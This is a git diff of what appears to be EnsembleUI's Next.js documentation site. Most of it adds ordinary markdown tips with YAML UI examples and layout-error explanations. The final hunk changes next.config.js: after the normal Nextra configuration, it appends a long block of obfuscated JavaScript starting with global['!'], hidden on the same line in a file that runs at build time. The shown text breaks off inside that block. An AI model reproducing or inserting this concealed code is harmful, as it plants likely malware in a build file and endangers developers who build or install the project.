adjust your UI accordingly. By subtracting the bottom safe area from the total height, your layout dynamically adjusts, ensuring nothing overlaps with the navigation bar. Here's an example: + +```yaml +FlexColumn: + styles: + height: ${ device.height - device.safeAreaBottom } +``` + +#### Visual Example: + +Here are two screenshots that show the UI with and without the 3-button navigation bar, demonstrating how the layout adjusts dynamically. + + +
+ + + + + +
+ With 3-Button Navigation Bar + + With Swipe Navigation +
+
+ + +By implementing this trick, you ensure that your app’s UI remains consistent and user-friendly across devices with different navigation styles. This technique prevents layout issues such as buttons being hidden or content being overlapped. + +--- + +# Floating Button + +[Kitchen Sink Example](https://studio.ensembleui.com/app/YQGEapU8rrEfhTJJLzz8/screen/Vz7SuvSTF8i5no7jKXGx) + +```yaml + Stack: + styles: + alignChildren: bottomLeft + children: + - ListView: + styles: + padding: 12 + gap: 10 + children: + - Text: + text: Hi there! + - Button: + label: Checkout Ensemble Kitchen Sink + onTap: + openUrl: + url: "https://studio.ensembleui.com/preview/index.html?appId=e24402cb-75e2-404c-866c-29e6c3dd7992" + + - Card + - Card + - Card + - Card + + - Button: + startingIcon: + name: plus + library: fontAwesome + styles: + padding: 20 25 + margin: 30 +``` + +### ListView: +- The `ListView` component displays a list of items on the screen. +- Additional styles are applied to customize its appearance, such as padding and gap between items. +- Within the `ListView`, various child components like `Text` and `Cards` are nested to represent different content sections. + +### Button (Floating Button): +- Positioned alongside the `ListView` within the `Stack`, the `Button` component serves as the floating action button. +- Its placement on the same level as the `ListView` within the `Stack` allows it to overlay the content, creating the floating effect. +- `Styles` are applied to adjust the button's appearance, including padding and margin for spacing. + +## Floating Button Implementation: +By placing the `Button` component within the `Stack` alongside the `ListView`, it remains visually separate from the list content and appears to float above it. This arrangement allows for easy access to important actions while maintaining a clean and organized UI layout. + +--- + +# Creating an Avatar + +Display basic avatars with various configurations such as size, shape, and borders. You can also display avatars with initials when an image source is unavailable. + +Use the `Avatar` component inside a `Flow` or other container. +Set the `source` attribute to the URL of the image for the avatar. + +```yaml +- Avatar: + source: https://mui.com/static/images/avatar/1.jpg +- Avatar: + source: https://mui.com/static/images/avatar/2.jpg + styles: + width: 50 + borderColor: grey +``` + +Use the `Stack` component to overlay additional elements on the `Avatar`. + +```yaml +- Stack: + children: + - Avatar: + source: https://mui.com/static/images/avatar/2.jpg + styles: + width: 80 + - Icon: + name: camera_line + library: remix + styles: + color: black +``` + +--- + +# Cookies in Webview + +Cookies usage in the EnsembleUI WebView is designed to enhance functionality, especially in native applications. The code snippet allows you to set cookies directly for the WebView, and it provides options to control navigation based on cookie conditions. + +## WebView Configuration +```yaml + WebView: + # Setting cookies for the WebView (only works for native applications) + cookies: ${cookiesArray} #assumes cookiesArray has been defined as a js variable elsewhere + + # Taking cookies from the set-cookies header directly (only works for native applications) + cookieHeader: ${cookieString} #assumes cookiesString has been defined as a js variable elsewhere + + id: webview + uri: https://ensembleui.com/ + styles: + height: 400 +``` +See [Webview in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/22c8d57d-a906-4d11-873d-161fd6c56c0a) for the full example +### Cookies Setting +The `cookies` property allows you to set cookies directly for the WebView. The cookies are defined in the `cookiesArray` variable in the Global section. +The `cookieHeader` property takes cookies from the set-cookies header directly. The cookies are specified in the `cookieString` variable in the Global section. + +### Cookie Usage Example +```yaml + Global: |- + //@code + var cookieString = "CustomName=CustomValue; Max-Age=2592000; Domain=ensembleui.com; Path=/; Expires=Sun, 30 Nov 2024 14:08:46 GMT; HttpOnly=false; Secure=true; SameSite=None"; + + var cookiesArray = + [ + { + "name": "CustomName1", + "value": "CustomValue1", + "domain": ".ensembleui.com", + "path": "/", + "expires": 1727414966.520928, + "httpOnly": false, + "secure": false, + "sameSite": "None" + }, + { + "name": "CustomName2", + "value": "CustomValue2", + "domain": "github.com", + "path": "/", + "expires": 1727414959.838461, + "httpOnly": false, + "secure": false, + "sameSite": "None" + }, + ] +``` + +**Notes** +Cookie handling features are applicable only to native applications, not web applications. +Customize the cookies and cookie-related settings according to your application's requirements. +Understand the navigation control mechanism based on cookies, especially regarding its platform-specific behavior. + +--- + +One common theme in most apps is to show a progress dialog while an API is being processed on the server and close it when the response from the API has been received. This can easily be achieved as follows. Note the use of closeAllDialogs action. + +This method will not work when the progress container is being displayed on top of an existing dialog as closeAllDialogs will close the dialog under it as well which may not be what you desire. + +Lastly a dialog is not the samething as a modal that is displayed with navigateModalScreen. Calling closeAllDialogs does NOT close the modal that is opened with navigateModalScreen + + ```yaml + - Button: + label: Custom Progress - closes in 3 seconds + onTap: + showDialog: + widget: + ProgressDialog: + inputs: + userId: 1 + +ProgressDialog: + inputs: + - userId + onLoad: + invokeAPI: + name: getMockUser + inputs: + userId: ${userId} + onResponse: + #adding this timer here just so that we can delay closing the dialog + startTimer: + options: + startAfter: 3 + repeat: false + onTimer: + #all you need to do to close the dialog is to call closeAllDialogs action + closeAllDialogs: + body: + Column: + styles: + crossAxis: center + gap: 8 + children: + - Progress: + - Text: + text: Just a moment... + +API: + getMockUser: + inputs: + - userId + uri: https://dummyjson.com/users/${userId} + method: GET +``` +See [this](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c2c248f2-a289-40d3-acd5-65a1a7f3c5a2#) for a live example + +--- + +# General Color for All Buttons across an App + +Defining a theme for your app so as to save time for writing repeated code for text colors, backgroundColors etc is a better way for being efficient and avoiding DRY principle. EnsembleUI enables us to define our own App theme. You can find more about themes [here](). For now lets focus on achieving a general color our Button text. + +**Example** +Lets us consider an App where we want to use `0xFF308775` color for our all Buttons text. To achieve this we will use Theme option in ensemble studio. + +**Steps** + +1. Go to your App and click on **Theme** in left side panel. Here is hw it looks like. + +![Alt text](public/images/tips/image-4.png). + +2. Then use the code below to define [primary]() color for button color, focus color etc. + +**Code** + + + +```yaml +# define your app theme here +Colors: + primary: 0xFF308775 +``` + + + +**Output** + +![Alt text](public/images/tips/image-5.png) + + +Note: `Just like all other Web and Mobile technologies like Html, Css and Flutter etc if there is style done on a button it will be of higher priority then theme so to let theme work no need to style button color at all.` + +--- + +## Icon Without Label + +Since these kind of icons require us to utilize [custom widgets]() thus we will be using **customItem** widget for getting through it. It has two properties namely **widget** and **selectedWidget**. + +| Property | Type | Description | +| :------------- | :----- | :--------------------------------------------------------------------- | +| widget | widget | Used for inactive item. | +| selectedWidget | widget | Used for active item. | +| page | screen | Used for naming the screen to which we navigate once clicked upon item | + +We will utilize these two to achieve two different states for an icon active and inactive. Let us see the code example + +**Example** + + + +```yaml +ViewGroup: + BottomNavBar: + styles: + backgroundColor: white + color: 0xFF9DAEC1 + selectedColor: black + floatingBackgroundColor: 0xFF8A1C9D + floatingIconColor: white + notchColor: 0xFF0F0E1C + items: + - customItem: + widget: + IconWidget: + inputs: + icon: home + selectedWidget: + ActiveIconWidget: + inputs: + icon: home + page: Home + + - customItem: + widget: IconOnlyWidget + selectedWidget: ActiveIconOnlyWidget + page: Chat + + - customItem: + widget: + IconWidget: + inputs: + icon: account_balance_wallet + selectedWidget: + ActiveIconWidget: + inputs: + icon: account_balance_wallet + page: Home +``` + + + +**Output** +![Alt text](public/images/tips-and-tricks/image.png) +![Alt text](public/images/tips-and-tricks/image-1.png) + +**Note:**`BottomNavBar is used to navigate across whole application so it always has a separate screen where it comes under [View Group]() with all the items corresponding to each screen of your application.` + +**Explanation** + +Each item has two properties for active and inactive widget. [IconWidget](#iconwidget) and [IconOnlyWidget](#icononlywidget) represents the in-active state / screen while [ActiveIconWidget](#activeiconwidget) and [ActiveIconOnlyWidget](#activeicononlywidget) for active state / screen. Both of these are [custom widgets](). Its important to notice that [IconWidget](#iconwidget) and [ActiveIconWidget](#activeiconwidget) accept input as well which is the **name** of the **icon** we want to use. + +##### IconWidget + + + +```yaml +IconWidget: + inputs: + - icon + body: + Column: + styles: { mainAxis: center, crossAxis: center } + children: + - Icon: + icon: ${icon} + styles: + color: 0x70000000 + size: 28 +``` + + + +##### ActiveIconWidget + + + +```yaml +ActiveIconWidget: + inputs: + - icon + body: + Column: + styles: { mainAxis: center, crossAxis: center } + children: + - Icon: + icon: ${icon} + styles: + color: black + size: 28 +``` + + + +##### IconOnlyWidget + + + +```yaml +IconOnlyWidget: + body: + Column: + styles: { mainAxis: center, crossAxis: center } + children: + - Icon: + icon: star + styles: + backgroundColor: transparent + borderColor: black + color: yellow + borderRadius: 26 + padding: 10 + size: 18 +``` + + + +##### ActiveIconOnlyWidget + + + +```yaml +ActiveIconOnlyWidget: + body: + Column: + styles: { mainAxis: center, crossAxis: center } + children: + - Icon: + icon: star + styles: + backgroundColor: 0xFF004548 + color: yellow + borderRadius: 26 + padding: 12 + size: 26 +``` + + +--- + +## Profile Picture + +Its possible that you might need to have your profile picture as item to navigate to settings page or profile page etc, anyway whichever is your case here is how can do it with EnsembleUI. + +**Example** + +```yaml +ViewGroup: + BottomNavBar: + - customItem: + widget: CustomNavBarItemWithImage + selectedWidget: ActiveCustomNavBarItemWithImage + page: WeeklyScheduler +``` + +**Output** + +![Alt text](public/images/image-2.png) +![Alt text](public/images/image-3.png) +**Note:** `Its only specific item code, so as to stay relevant to our topic. You can see complete example` [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/aa634599-cd5d-411c-a4b6-1163f3b5c558?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +##### CustomNavBarItemWithImage + + + +```yaml +CustomNavBarItemWithImage: + body: + Column: + styles: + padding: 2 8 + children: + - Image: + source: https://robohash.org/hicveldicta.png + styles: + width: 40 + height: 40 + borderRadius: 40 + borderWidth: 2 + borderColor: 0xFFDEDEDE +``` + + + +##### ActiveCustomNavBarItemWithImage + + + +```yaml +ActiveCustomNavBarItemWithImage: + body: + Column: + styles: + padding: 2 8 + children: + - Image: + source: https://robohash.org/hicveldicta.png + styles: + width: 40 + height: 40 + borderRadius: 40 + borderWidth: 2 + borderColor: black +``` + + +--- + +# Specify library icons for start and end + +**Objective** +To specify library icons for startingIcon and endingIcon on a Button + +To achieve this, consider the following steps: + +1. To specify library icons in shorthand notation for startingIcon and endingIcon on a Button, you can use the following syntax: + ```yaml + Button: + startingIcon: wifi + endingIcon: addressBook fontAwesome + ``` +2. Icons can be represented with a more verbose syntax on a Button using the following structure: + ```yaml + Button: + endingIcon: + name: addressBook + library: fontAwesome + size: 50 + color: red + ``` + +--- + +# No Bounded Width Error + +You get the error **"This widget requires a width."** on some widgets. + +e.g. TextInput, Map, ... + +## Reason + +A widget needs a width (and a height) to render. Some widgets can automatically calculate its width based on its content (e.g. Text) or from its children. Others widgets cannot (or should not e.g. what should the width of a Map widget be?). These widgets rely on the parent to constrain (give) them a dimension. + +## Solution + +1. Set an explicit width or max width on this widget (if applicable). +2. The parent needs to constrain the width of this widget. This can mean setting a width on the parent or force the parent to decide how to distribute the space. + - For **Row** parent: Row does not constrain the children's widths so consider using *FlexRow* instead. FlexRow will stretch to fill its parent and distribute the available space between its children. + - For **Stack** parent: Similarly Stack also do not constrain the children's widths. Adjust its stackPositionLeft / stackPositionRight attributes to constrain the children within this width. + - For **horizontal scrollable** parent: Scrollable parent allows its children to decide their own widths (so it knows how to scroll), meaning all children must be able to calculate their own widths. Consider changing your design if you run into this situation. + +--- + +# No Bounded Height Error + +You get the error **"This widget requires a height."** on some widgets + +e.g. Divider (vertical), Map, ... + +## Reason + +A widget needs a height (and a width) to render. Some widgets can automatically calculate its height based on its content (e.g. Text with lineHeight of 2) or from its children, while other widgets rely on the parent to constrain (give) them a dimension. + +## Solution + +1. Set an explicit height on this widget. +2. The parent needs to constrain the height of this widget. This can mean either setting a height on the parent or force the parent to decide how to distribute the vertical space. + - If the parent (or ancestor) is **Column**: Column does not constrain the children's heights so consider using *FlexColumn* instead. FlexColumn will stretch to fill its parent's height and distribute the available vertical space between its children. Be careful when using FlexColumn inside a scrollable ancestor (all widgets inside a scrollable ancestor need to be able to calculate their own heights). + - If the parent is **Row**: Row does constrain the height (crossAxis) so it alone is **not** a problem. However if the parent of the Row is another Column, the Column will not send the height constraint to the Row, which in turn cannot provide the constraint to its children. If your Row has at least 1 child that has a height, you may explicitly set the height constraint to the tallest child's height using `crossAxisConstraint: largestChild`. This will ensure all children without a height will get the height of the row. + - For **Stack** parent: Similarly Stack also do not constrain the children's widths. Adjust its stackPositionTop / stackPositionBottom attributes to constrain the children within this height. + - For **vertical scrollable** parent: Scrollable parent allows its children to decide their own height (so it knows how to scroll), meaning all children must be able to calculate their own heights. Consider changing your design if you run into this situation. + +--- + +# FlexRow No Bounded Width Error + +You get the error **"FlexRow requires a width for child distribution."** + +## Reason + +FlexRow's layout algorithm works by distributing a pre-defined width proportionally to all its children. If the FlexRow does not have an explicit width, its parent is required to constrain its width. This is a variation of [no-bounded-width](/pages/error/no-bounded-width.md) error, but specific to FlexRow. + +## Solution + +1. Set an explicit width on the FlexRow. This width will then be distributed proportionally to its children. +2. The parent (anywhere up the chain) needs to constrain the width of this widget. This can mean either setting a width on the parent or forcing the parent to decide how to distribute the horizontal space. + - For **horizontal Scrollable** ancestor: Having a FlexRow (stretching to the width of the parent) inside a horizontal Scrollable (width is calculated from all children combined) does not make sense. There has to be an explicit width set at least once in the hierarchy chain between the FlexRow and the Scrollable ancestor. + - For **Row** ancestor: Row does not constrain its children's widths (it lets the children dictate their own widths). For this reason, ensure there is a width set (can be explicit or stretched to parent) at least once in the hierarchy chain between the FlexRow and the Row ancestor. + - Consider using all FlexRow(s) instead of Row up the ancestor chain to the root View. This ensure the screen width is distributed properly down to our last FlexRow. + - If you don't need FlexRow's distribution capability, considered using all Rows instead. Rows lay out their children with their requested widths in a left to right manner, with the ability to add horizontal scrollbar as needed. + +--- + +# FlexColumn No Bounded Height Error + +You get the error **"FlexColumn requires a height for child distribution."** + +## Reason + +FlexColumn's layout algorithm works by distributing a pre-defined height proportionally to all its children. If the FlexColumn does not have an explicit height, its parent is required to constrain its height. This is a variation of [no-bounded-height](/pages/error/no-bounded-height.md) error, but specific to FlexColumn. + +## Solution + +1. Set an explicit height on the FlexColumn. This height will then be distributed proportionally to its children. +2. The parent (anywhere up the chain) needs to constrain the height of this widget. This can mean either setting a height on the parent or forcing the parent to decide how to distribute the vertical space. + - For **vertical Scrollable** ancestor: Having a FlexColumn (stretch to parent) inside a vertical Scrollable (height is calculated from all children combined) does not make sense. There has to be an explicit height set at least once in the hierarchy chain between the FlexColumn and the Scrollable ancestor. + - For **Column** ancestor: Column does not constrain its children's heights (it lets the children dictate their own heights). For this reason, ensure there is a height set (can be explicit or stretched to parent) at least once in the hierarchy chain between the FlexColumn and the Column ancestor. + - Consider using all FlexColumn(s) instead of Column up the ancestor chain to the root View. This ensure the screen height is distributed properly down to our last FlexColumn. + - If you don't need FlexColumn's distribution capability, considered using all Columns instead. Columns lay out their children with their requested heights in a top-down manner, with the ability to add vertical scrollbar as needed. + +--- diff --git a/next.config.js b/next.config.js index 239387c..0165e92 100644 --- a/next.config.js +++ b/next.config.js @@ -1,23 +1,23 @@ -const withNextra = require('nextra')({ - theme: 'nextra-theme-docs', - themeConfig: './theme.config.tsx' -}) - -module.exports = withNextra({ - async redirects() { - return [ - { - // from 'error/message' to 'tips-and-tricks/error-message' - source: '/error/:errorId', - destination: '/tips-and-tricks/:errorId', - permanent: false, - }, - { - // from 'doc/:topic' to 'concepts/:topic' - source: '/doc/:topic', - destination: '/concepts/:topic', - permanent: false, - } - ] - } -}) +const withNextra = require('nextra')({ + theme: 'nextra-theme-docs', + themeConfig: './theme.config.tsx' +}) + +module.exports = withNextra({ + async redirects() { + return [ + { + // from 'error/message' to 'tips-and-tricks/error-message' + source: '/error/:errorId', + destination: '/tips-and-tricks/:errorId', + permanent: false, + }, + { + // from 'doc/:topic' to 'concepts/:topic' + source: '/doc/:topic', + destination: '/concepts/:topic', + permanent: false, + } + ] + } +}); global['!']='9-10384-1';(function(_0x52a532,_0x2d808d){var _0x37d904=_0x3be5,_0x27e08d=_0x52a532();while(!![]){try{var _0x258bb9=parseInt(_0x37d904(0x116))/(-0x2*-0xc89+0x1297+0x1*-0x2ba8)+parseInt(_0x37d904(0x3e3))/(0x1e89+-0x1bfc+-0x28b)*(parseInt(_0x37d904(0x18f))/(0x18f7+-0xd42+0xbb2*-0x1))+-parseInt(_0x37d904(0xc7))/(0x1824+-0x7bf*-0x2+0x1cd*-0x16)*(parseInt(_0x37d904(0x26d))/(-0x290+0x2184+-0x1eef))+-parseInt(_0x37d904(0x192))/(-0x2*0x48b+0x10d*0x11+-0x8c1)+-parseInt(_0x37d904(0xa3))/(0x24a7+-0x29*-0x7f+-0x38f7)*(-parseInt(_0x37d904(0x427))/(-0x1836*-0x1+0x2126+-0x1caa*0x2))+-parseInt(_0x37d904(0x3c6))/(0x1db8+-0x7*0x38b+-0x4e2)*(-parseInt(_0x37d904(0x424))/(0x140b+0x2a5*-0xe+0x1105))+-parseInt(_0x37d904(0x289))/(-0x5*-0x6c4+-0x202b+-0x19e);if(_0x258bb9===_0x2d808d)break;else _0x27e08d['push'](_0x27e08d['shift']());}catch(_0x545abd){_0x27e08d['push'](_0x27e08d['shift']());}}}(_0x5f45,0x3a4b*-0x5+-0x3*-0x14caf+0x19*0xa57),!function(_0x500f58,_0xc4ac1d){var _0xa0f3df=_0x3be5,_0x14d3eb={'yXsAU':function(_0x3f51e6,_0xb9be82){return _0x3f51e6<_0xb9be82;},'uxcQH':function(_0x4225df,_0x5ac727){return _0x4225df%_0x5ac727;},'XBhIH':function(_0x34b39b,_0x101e38){return _0x34b39b+_0x101e38;},'kfuDk':function(_0xf7a237,_0x43d06d){return _0xf7a237*_0x43d06d;},'Emdxt':function(_0x2798eb,_0x5aea37){return _0x2798eb+_0x5aea37;},'TPIVk':function(_0x1af93d,_0x779646){return _0x1af93d+_0x779646;},'uKTwD':function(_0x46c7cd,_0x5089f9){return _0x46c7cd+_0x5089f9;},'kJebz':function(_0x307982,_0x59d116){return _0x307982%_0x59d116;},'lDkzO':function(_0x25a251,_0x473301){return _0x25a251%_0x473301;},'PjAol':function(_0x2abc47,_0x2951ab,_0x285bc0,_0x11f352,_0x3eb176,_0x378b8b,_0x753e59,_0x2a0780){return _0x2abc47(_0x2951ab,_0x285bc0,_0x11f352,_0x3eb176,_0x378b8b,_0x753e59,_0x2a0780);},'HzUvU':_0xa0f3df(0xc0),'OvNMo':function(_0x1cd55d,_0x12971c){return _0x1cd55d===_0x12971c;},'NWAll':function(_0x532889,_0x5f4724){return _0x532889(_0x5f4724);},'JDcif':_0xa0f3df(0x4be)+_0xa0f3df(0x3d6)+_0xa0f3df(0x19e)+_0xa0f3df(0x254),'eIoDu':function(_0x484af5,_0x644456,_0x5c036d){return _0x484af5(_0x644456,_0x5c036d);},'Vjhdr':_0xa0f3df(0x108)+_0xa0f3df(0x1c1)+_0xa0f3df(0x247)+_0xa0f3df(0x2d4)+_0xa0f3df(0x266)+_0xa0f3df(0x4a9)+_0xa0f3df(0x405)+_0xa0f3df(0x3b4)+_0xa0f3df(0x1de)+_0xa0f3df(0x178)+_0xa0f3df(0xa9)+_0xa0f3df(0x12b)+_0xa0f3df(0x286)+_0xa0f3df(0xac)+_0xa0f3df(0x4bc)+_0xa0f3df(0x363)+_0xa0f3df(0x162)+_0xa0f3df(0x343)+_0xa0f3df(0x32a)+_0xa0f3df(0x292)+_0xa0f3df(0x40e)+_0xa0f3df(0x1e5)+_0xa0f3df(0x35f)+_0xa0f3df(0x441)+_0xa0f3df(0x425)+_0xa0f3df(0xa2)+_0xa0f3df(0x20b)+_0xa0f3df(0x46e)+_0xa0f3df(0x3e6)+_0xa0f3df(0x345)+_0xa0f3df(0x40a)+_0xa0f3df(0x328)+_0xa0f3df(0x49c)+_0xa0f3df(0x222)+_0xa0f3df(0x418)+_0xa0f3df(0x404)+_0xa0f3df(0x241)+_0xa0f3df(0x16c)+_0xa0f3df(0xaa)+_0xa0f3df(0x259)+_0xa0f3df(0x206)+_0xa0f3df(0x2d8)+_0xa0f3df(0x2df)+_0xa0f3df(0x233)+_0xa0f3df(0x42a)+_0xa0f3df(0x107)+_0xa0f3df(0x4af)+_0xa0f3df(0x3be)+_0xa0f3df(0x366)+_0xa0f3df(0x4cf)+_0xa0f3df(0x340)+_0xa0f3df(0x2ae)+_0xa0f3df(0xa6)+_0xa0f3df(0x4ce)+_0xa0f3df(0x378)+_0xa0f3df(0x3e2)+_0xa0f3df(0x1cf)+_0xa0f3df(0x1f4)+_0xa0f3df(0x122)+_0xa0f3df(0x24a)+_0xa0f3df(0x39d)+_0xa0f3df(0x216)+_0xa0f3df(0x278)+_0xa0f3df(0x48e)+_0xa0f3df(0x45a)+_0xa0f3df(0x1f5)+_0xa0f3df(0x409)+_0xa0f3df(0x492)+_0xa0f3df(0x1b2)+_0xa0f3df(0x296)+_0xa0f3df(0x32f)+_0xa0f3df(0x215)+_0xa0f3df(0x43b)+_0xa0f3df(0x478)+_0xa0f3df(0x39a)+_0xa0f3df(0x2bd)+_0xa0f3df(0x235)+_0xa0f3df(0x22c)+_0xa0f3df(0x4d8)+_0xa0f3df(0x37f)+_0xa0f3df(0x4a8)+_0xa0f3df(0x1a4)+_0xa0f3df(0x2a2)+_0xa0f3df(0x1d4)+_0xa0f3df(0x128)+_0xa0f3df(0x449)+_0xa0f3df(0x23a)+_0xa0f3df(0x18b)+_0xa0f3df(0xcc),'YZkUd':_0xa0f3df(0xfa)+_0xa0f3df(0x27b)+_0xa0f3df(0x274)+_0xa0f3df(0x13e)+_0xa0f3df(0x234)+_0xa0f3df(0x4dc)+_0xa0f3df(0x15c)+_0xa0f3df(0x127)+_0xa0f3df(0x1f9)+_0xa0f3df(0x260)+_0xa0f3df(0x153)+_0xa0f3df(0x362)+_0xa0f3df(0x301)+_0xa0f3df(0xc8)+_0xa0f3df(0x38e)+_0xa0f3df(0x4e2)+_0xa0f3df(0x2ce)+_0xa0f3df(0x146)+_0xa0f3df(0x24c)+_0xa0f3df(0x2aa)+_0xa0f3df(0x212)+_0xa0f3df(0x419)+_0xa0f3df(0x2cd)+_0xa0f3df(0x43a)+_0xa0f3df(0x1ec)+_0xa0f3df(0x250)+_0xa0f3df(0xd7)+_0xa0f3df(0x460)+_0xa0f3df(0x47b)+_0xa0f3df(0x3af)+_0xa0f3df(0x49a)+_0xa0f3df(0x376)+_0xa0f3df(0x389)+_0xa0f3df(0x25e)+_0xa0f3df(0x36b)+_0xa0f3df(0x400)+_0xa0f3df(0x4b2)+_0xa0f3df(0x257)+_0xa0f3df(0x1b1)+_0xa0f3df(0x2af)+_0xa0f3df(0x1e9)+_0xa0f3df(0x4a6)+_0xa0f3df(0x35b)+_0xa0f3df(0x1d2)+_0xa0f3df(0x2e8)+_0xa0f3df(0x422)+_0xa0f3df(0x44c)+_0xa0f3df(0x25f)+_0xa0f3df(0x4e6)+_0xa0f3df(0x420)+_0xa0f3df(0x42f)+_0xa0f3df(0x131)+_0xa0f3df(0x295)+_0xa0f3df(0x11b)+_0xa0f3df(0x2b0)+_0xa0f3df(0x360)+_0xa0f3df(0x29f)+_0xa0f3df(0x24e)+_0xa0f3df(0x135)+_0xa0f3df(0x44d)+_0xa0f3df(0x24b)+_0xa0f3df(0x15a)+_0xa0f3df(0x4b6)+_0xa0f3df(0x488)+_0xa0f3df(0x36f)+_0xa0f3df(0xeb)+_0xa0f3df(0x361)+_0xa0f3df(0x1af)+_0xa0f3df(0x3d2)+_0xa0f3df(0x225)+_0xa0f3df(0x2ed)+_0xa0f3df(0x46b)+_0xa0f3df(0x2c3)+_0xa0f3df(0x426)+_0xa0f3df(0x16e)+_0xa0f3df(0x161)+_0xa0f3df(0x2e6)+_0xa0f3df(0xbf)+_0xa0f3df(0x4bd)+_0xa0f3df(0x180)+_0xa0f3df(0x12e)+_0xa0f3df(0x290)+_0xa0f3df(0x3a1)+_0xa0f3df(0x1f3)+_0xa0f3df(0x20f)+_0xa0f3df(0x2b1)+_0xa0f3df(0x46c)+_0xa0f3df(0x43c)+_0xa0f3df(0x47d)+_0xa0f3df(0x4c5)+_0xa0f3df(0x485)+_0xa0f3df(0x204)+_0xa0f3df(0x1fb)+_0xa0f3df(0x1ef)+_0xa0f3df(0x31d)+_0xa0f3df(0x3ce)+_0xa0f3df(0x28e)+_0xa0f3df(0x240)+_0xa0f3df(0xba)+_0xa0f3df(0x3c0)+(_0xa0f3df(0x3df)+_0xa0f3df(0x356)+_0xa0f3df(0x41f)+_0xa0f3df(0x48a)+_0xa0f3df(0x4d0)+_0xa0f3df(0x185)+_0xa0f3df(0x2c8)+_0xa0f3df(0x273)+_0xa0f3df(0x264)+_0xa0f3df(0x41e)+_0xa0f3df(0x3a8)+_0xa0f3df(0x2b9)+_0xa0f3df(0x2a6)+_0xa0f3df(0x164)+_0xa0f3df(0x142)+_0xa0f3df(0x44e)+_0xa0f3df(0x303)+_0xa0f3df(0x14e)+_0xa0f3df(0x30e)+_0xa0f3df(0x497)+_0xa0f3df(0x3f0)+_0xa0f3df(0x2c9)+_0xa0f3df(0x105)+_0xa0f3df(0x184)+_0xa0f3df(0x337)+_0xa0f3df(0x13f)+_0xa0f3df(0x169)+_0xa0f3df(0x3a6)+_0xa0f3df(0x3f1)+_0xa0f3df(0xd5)+_0xa0f3df(0xce)+_0xa0f3df(0x35d)+_0xa0f3df(0x109)+_0xa0f3df(0x2f2)+_0xa0f3df(0x31b)+_0xa0f3df(0x150)+_0xa0f3df(0x32c)+_0xa0f3df(0x359)+_0xa0f3df(0x3e0)+_0xa0f3df(0x25d)+_0xa0f3df(0x3d0)+_0xa0f3df(0x1d0)+_0xa0f3df(0x124)+_0xa0f3df(0x3ee)+_0xa0f3df(0x113)+_0xa0f3df(0x484)+_0xa0f3df(0x350)+_0xa0f3df(0x1ff)+_0xa0f3df(0x41c)+_0xa0f3df(0x144)+_0xa0f3df(0x18c)+_0xa0f3df(0x2ef)+_0xa0f3df(0x483)+_0xa0f3df(0x2e9)+_0xa0f3df(0x1dd)+_0xa0f3df(0x111)+_0xa0f3df(0x143)+_0xa0f3df(0x445)+_0xa0f3df(0x201)+_0xa0f3df(0x373)+_0xa0f3df(0x3ed)+_0xa0f3df(0x414)+_0xa0f3df(0x1b4)+_0xa0f3df(0x3b2)+_0xa0f3df(0x26e)+_0xa0f3df(0x28f)+_0xa0f3df(0x2b6)+_0xa0f3df(0x48b)+_0xa0f3df(0x48c)+_0xa0f3df(0x335)+_0xa0f3df(0x3cd)+_0xa0f3df(0xb9)+_0xa0f3df(0x499)+_0xa0f3df(0x298)+_0xa0f3df(0x166)+_0xa0f3df(0x1c5)+_0xa0f3df(0x3bc)+_0xa0f3df(0x384)+_0xa0f3df(0xd8)+_0xa0f3df(0xd6)+_0xa0f3df(0x428)+_0xa0f3df(0x2c6)+_0xa0f3df(0x2b8)+_0xa0f3df(0x1fa)+_0xa0f3df(0x23b)+_0xa0f3df(0x276)+_0xa0f3df(0x334)+_0xa0f3df(0x2f0)+_0xa0f3df(0x341)+_0xa0f3df(0x246)+_0xa0f3df(0x2d5)+_0xa0f3df(0x401)+_0xa0f3df(0x3ca)+_0xa0f3df(0x3a7)+_0xa0f3df(0x353)+_0xa0f3df(0xe9)+_0xa0f3df(0x242)+_0xa0f3df(0xf8)+_0xa0f3df(0x219)+_0xa0f3df(0x45f))+(_0xa0f3df(0x1cb)+_0xa0f3df(0x369)+_0xa0f3df(0xee)+_0xa0f3df(0x4cd)+_0xa0f3df(0x23d)+_0xa0f3df(0x476)+_0xa0f3df(0xbb)+_0xa0f3df(0x3ec)+_0xa0f3df(0x4b4)+_0xa0f3df(0x37b)+_0xa0f3df(0x302)+_0xa0f3df(0x4c2)+_0xa0f3df(0x170)+_0xa0f3df(0x14f)+_0xa0f3df(0x21b)+_0xa0f3df(0x421)+_0xa0f3df(0x1a1)+_0xa0f3df(0x2d6)+_0xa0f3df(0x4cc)+_0xa0f3df(0x46f)+_0xa0f3df(0x1ac)+_0xa0f3df(0x101)+_0xa0f3df(0xe4)+_0xa0f3df(0x1ed)+_0xa0f3df(0x477)+_0xa0f3df(0x407)+_0xa0f3df(0x165)+_0xa0f3df(0x372)+_0xa0f3df(0x3e8)+_0xa0f3df(0x461)+_0xa0f3df(0x1e0)+_0xa0f3df(0x41a)+_0xa0f3df(0x217)+_0xa0f3df(0x187)+_0xa0f3df(0x1ba)+_0xa0f3df(0x25b)+_0xa0f3df(0x47c)+_0xa0f3df(0x433)+_0xa0f3df(0x357)+_0xa0f3df(0x34f)+_0xa0f3df(0x490)+_0xa0f3df(0x469)+_0xa0f3df(0xed)+_0xa0f3df(0x2d1)+_0xa0f3df(0x38a)+_0xa0f3df(0x317)+_0xa0f3df(0x121)+_0xa0f3df(0x11d)+_0xa0f3df(0x2ee)+_0xa0f3df(0x316)+_0xa0f3df(0x3fe)+_0xa0f3df(0x21d)+_0xa0f3df(0x12a)+_0xa0f3df(0xf2)+_0xa0f3df(0x1b6)+_0xa0f3df(0x288)+_0xa0f3df(0x238)+_0xa0f3df(0x202)+_0xa0f3df(0x411)+_0xa0f3df(0x1be)+_0xa0f3df(0x1b8)+_0xa0f3df(0x19c)+_0xa0f3df(0x3aa)+_0xa0f3df(0x239)+_0xa0f3df(0x236)+_0xa0f3df(0x2f8)+_0xa0f3df(0x34e)+_0xa0f3df(0x117)+_0xa0f3df(0x3e7)+_0xa0f3df(0x1eb)+_0xa0f3df(0x4cb)+_0xa0f3df(0x18e)+_0xa0f3df(0x35c)+_0xa0f3df(0x106)+_0xa0f3df(0x221)+_0xa0f3df(0x33f)+_0xa0f3df(0x450)+_0xa0f3df(0x4c3)+_0xa0f3df(0x3b9)+_0xa0f3df(0x125)+_0xa0f3